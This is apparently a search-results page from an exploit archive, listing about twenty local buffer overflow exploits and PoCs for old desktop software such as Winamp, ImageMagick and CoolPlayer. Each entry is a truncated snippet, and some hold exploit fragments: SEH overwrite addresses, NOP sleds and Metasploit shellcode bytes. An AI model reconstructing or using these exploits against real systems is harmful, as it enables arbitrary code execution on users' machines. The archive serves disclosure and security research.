976 matches found
MUSE 4.9.0.006 - (.m3u) Local Buffer Overflow Exploit
No description provided by source. Exploit Title: MUSE v4.9.0.006 .m3u Local Buffer Overflow Exploit Date: August 17, 2010 Author: Glafkos Charalambous glafkos@astalavistadotcom Software Link: http://download.cnet.com/MUSE/3000-21404-42511.html Version: 4.9.0.006 Tested on: Windows XP SP3 En...
KSP 2006 FINAL (.M3U) Universal Local Buffer Exploit (SEH)
No description provided by source. !/usr/bin/perl by hack4love [email protected] KSP 2006 FINAL .M3U Universal Local Buffer Exploit SEH http://download.cnet.com/KSP/3000-21394-10540099.html?tag=mncol easy this work sooooooooo good USEKSPPLAYLISTLOADHACK4LOVE.M3U BOOM CALC INFO::WE HAVE ONLEY...
Radasm 2.2.1.6 - (.rap ) Local Buffer Overflow PoC
No description provided by source. /Radasm .rap file local buffer overflow POC I'll be back in a few hours with the exploit. The vuln is in the filename field. snip Files...1=AVP OVERFLOW... snip / includestdio.h void genrandomchar,const int; void printchar; unsigned int getFsizeFILE,char; void...
Centrinity FirstClass Desktop Client 7.1 - Local Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10074/info It has been reported that FirstClass Desktop Client may be prone to a local buffer overflow vulnerability that could allow attackers to execute arbitrary code on a vulnerable system that may lead to elevated...
HP-UX 10.x/11.x RExec Remote Username Flag Local Buffer Overrun Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/7459/info It has been reported that a problem in the rexec program included with some versions of HP-UX may be vulnerable to a boundary condition error. It may be possible for a local user to exploit this vulnerability to...
IDEAL Migration 2009 4.5.1 - Local Buffer Overflow Exploit
No description provided by source. !/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit Found By: DrIDE Usage: Right Click First Element in tree - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes...
Scite Text Editor 1.76 - Local Buffer Overflow (PoC)
No description provided by source. Exploit Title: Scite text editor :Local Buffer Overflow PoC Date: 28/06/2010 Author: kmkz Version: Scite 1.76 lastest version Tested on: Linux 2.6.31-22 Code : Proof of Concept !/usr/bin/perl -wU 0-Days PoC Local BoF Scite 1.76 use strict; use diagnostics; use...
ImageMagick 6.8.8-4 - Local Buffer Overflow (SEH)
No description provided by source. !/usr/bin/perl Exploit Title: ImageMagick 6.8.8-5 - Local Buffer Overflow SEH Date: 2-13-2014 Exploit Author: Mike Czumak Tv3rn1x -- @SecuritySift Vulnerable Software: ImageMagick all versions prior to 6.8.8-5 Software Link:...
Oracle Database Server 9.0.x Oracle Binary Local Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/8844/info Oracle Database Server 'oracle' binary has been reported prone to a local buffer overflow vulnerability. The issue likely presents itself due to a lack of sufficient boundary checks performed on command line...
UltraISO 9.3.6.2750 Local Buffer Overflow POC (0day)
No description provided by source. /ccd overflow string=10974 bytes img file size=109974 bytes ccd file size=11812 / includestdio.h includestring.h includegetopt.h void printchar; unsigned int getFsizeFILE,char; void genrandomchar,const int; void exploitchar,char; define IM testf.img define CC...
PHP <= 4.4.4/5.1.6 htmlentities() Local Buffer Overflow PoC
No description provided by source. ?php / Nick Kezhaya / / www.whitepaperclip.com / //instantiate a string $str1 = ; for$i=0; $i 64; $i++ $str1 .= toUTF977; //MUST start with 977 before bit-shifting htmlentities$str1, ENTNOQUOTES, UTF-8; //DoS here / htmlentities method automatically assumes it i...
VUPlayer 2.49 - (.wax File) Local Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl -w Author : Houssamix Download : http://vuplayer.com/files/vuplayersetup.exe tested in windows pro Sp 2 french -- Viva Gazza -- Viva Palestine -- print ===================================================================== \n; print Author :...
Cain & Abel 4.9.25 (Cisco IOS-MD5) Local Buffer Overflow Exploit
No description provided by source. !perl -w Simple overflow for Cain & Abel v4.9.25 and below? This script will output a file; import this file as a config file under Cracker - Cisco IOS-MD5 Hashes If Cain crashes but calc.exe isn't run, change $eip to reflect your system. send9 /at/ chiseclabs.c...
Easy Music Player 1.0.0.2 - (wav) Universal Local Buffer Exploit (SEH) (2)
No description provided by source. !/usr/bin/perl by ThE g0bL!N Big thnx: His0k4 easy Music Player 1.0.0.2wav local Buffer Overflow Exploit SEH my $bof=\x41 x 4132; my $nsh=\xEB\x06\x90\x90; my $seh=\xB8\x15\xC6\x72; my $nop=\x90 x 20; my $sec=...
Winamp 5.572 - whatsnew.txt Local Buffer Overflow Exploit WinXP SP3 De
No description provided by source. Tested on: WinXP SP3 De !/usr/bin/perl Still learning, having some fun... Greetz to -Sid- Roadkill Jess Dawn Linki Special greetz do Debug, even i dont know you. Nice find man. Exploit has something around 70% chance of success. print \n\n; print Winamp 5.572...
VariCAD 2010-2.05 EN Local buffer overflow
No description provided by source. / Exploit Title: VariCAD 2010-2.05 EN Local buffer overflow : Date: 15 March 2010 Author: n00b Realname: carl cope Software Link: http://www.varicad.com/en/home/ Version: All versions are affected. Tested on: Windows xp sp3,Vista sp2,Linux unbuntu CVE : if exist...
BSD lpr 2000.05.07/0.48/0.72,lpr-ppd 0.72 Local Buffer Overflow Vulnerability (2)
No description provided by source. source: http://www.securityfocus.com/bid/7025/info It has been reported that a vulnerability in the handling of some types of requests exists in lprm. When an attacker sends a maliciously crafted string to a configured printer through the lprm command, it may be...
CoolPlayer - m3u File Local Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl ksOSe - 07/29/2008 use warnings; use strict; http://www.metasploit.com EXITFUNC=seh, CMD=c:\WINDOWS\system32\calc.exe x86/shikataganai succeeded, final size 169 my $shellcode = \xd9\xca\xd9\x74\x24\xf4\x5e\xb8\xf5\x65\x2d\xfb\x31\xc9\xb1...
Apple Mac OS X 10.3.x Multiple Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/12863/info Multiple security vulnerabilities are reported to affect Apple Mac OS X. These issues were disclosed in the referenced vendor advisory. Insecure permissions are reported to be set on certain Apple Mac OS X...
RM Downloader 3.0.2.1 (.asx) Local Buffer Overflow (SEH)
No description provided by source. !/usr/bin/python Title: RM Downloader 3.0.2.1 .asx Local Buffer Overflow SEH Date: 03-29-2010 Author: b0telh0 Link: http://www.mini-stream.net/downloads/RMDownloader.exe Tested on: Windows XP SP3 windows/exec - 227 bytes EXITFUNC=process, CMD=calc.exe shellcode ...